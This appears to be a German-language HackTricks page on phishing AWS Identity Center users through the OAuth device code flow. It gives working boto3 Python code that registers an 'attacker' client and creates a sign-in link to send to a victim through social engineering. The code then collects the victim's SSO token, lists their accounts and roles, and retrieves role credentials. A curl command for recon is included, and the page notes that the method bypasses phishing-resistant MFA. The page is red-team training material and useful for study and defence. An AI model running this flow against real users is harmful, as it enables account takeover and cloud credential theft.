AWS - Identity Center & SSO Unauthenticated Enum

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

AWS Device Code Phishing

Ursprünglich in this blog post vorgeschlagen, ist es möglich, einem Benutzer, der AWS SSO verwendet, einen Link zu senden, der — wenn der Benutzer zustimmt — dem Angreifer ein Token zur Benutzer-Impersonation verschafft und Zugriff auf alle Rollen ermöglicht, auf die der Benutzer im Identity Center zugreifen kann.

Um diesen Angriff durchzuführen, sind folgende Voraussetzungen erforderlich:

  • Das Opfer muss Identity Center verwenden
  • Der Angreifer muss die subdomain kennen, die das Opfer verwendet <victimsub>.awsapps.com/start

Schon mit diesen Informationen kann der Angreifer dem Benutzer einen Link senden, der — wenn er akzeptiert wird — dem Angreifer Zugriff auf das AWS-Benutzerkonto gewährt.

Attack

  1. Finding the subdomain

Der erste Schritt des Angreifers besteht darin, die Subdomain zu finden, die das Opferunternehmen in seinem Identity Center verwendet. Dies kann mittels OSINT oder guessing + BF erfolgen, da die meisten Unternehmen hier ihren Namen oder eine Variante davon verwenden.

Mit diesen Informationen ist es möglich, die Region zu ermitteln, in der das Identity Center konfiguriert wurde:

bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Link für das Opfer erzeugen & senden

Führe den folgenden Code aus, um einen AWS SSO-Anmeldelink zu erzeugen, damit sich das Opfer authentifizieren kann.
Für die Demo führe diesen Code in einer python-Konsole aus und beende sie nicht, da du später einige Objekte benötigst, um das Token zu erhalten:

python
import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Sende den generierten Link an das Opfer und nutze dabei deine großartigen social engineering-Fähigkeiten!

  1. Warte, bis das Opfer es akzeptiert

Wenn das Opfer bereits bei AWS eingeloggt war, muss es nur die Gewährung der Berechtigungen akzeptieren; wenn nicht, muss es sich einloggen und dann die Gewährung der Berechtigungen akzeptieren.
So sieht das Prompt heutzutage aus:

  1. SSO access token erhalten

Wenn das Opfer die Anfrage akzeptiert hat, führe diesen Code aus, um einen SSO token zu generieren, der sich als der Benutzer ausgibt:

python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Das SSO access token ist für 8h gültig.

  1. Sich als Benutzer ausgeben
python
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing the unphisable MFA

Es ist interessant zu wissen, dass der vorherige Angriff funktioniert, selbst wenn ein "unphisable MFA" (webAuth) verwendet wird. Das liegt daran, dass der vorherige Workflow die verwendete OAuth-Domain niemals verlässt. Anders als bei anderen Phishing-Angriffen, bei denen der Benutzer die Login-Domain ersetzen muss, ist im Fall des device code workflow ein Code einem Gerät bekannt und der Benutzer kann sich sogar von einer anderen Maschine aus einloggen. Wenn die Eingabeaufforderung akzeptiert wird, kann das Gerät allein durch das Kennen des initialen Codes die Zugangsdaten des Benutzers abrufen.

Für mehr Informationen hierzu check this post.

Automatische Tools

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks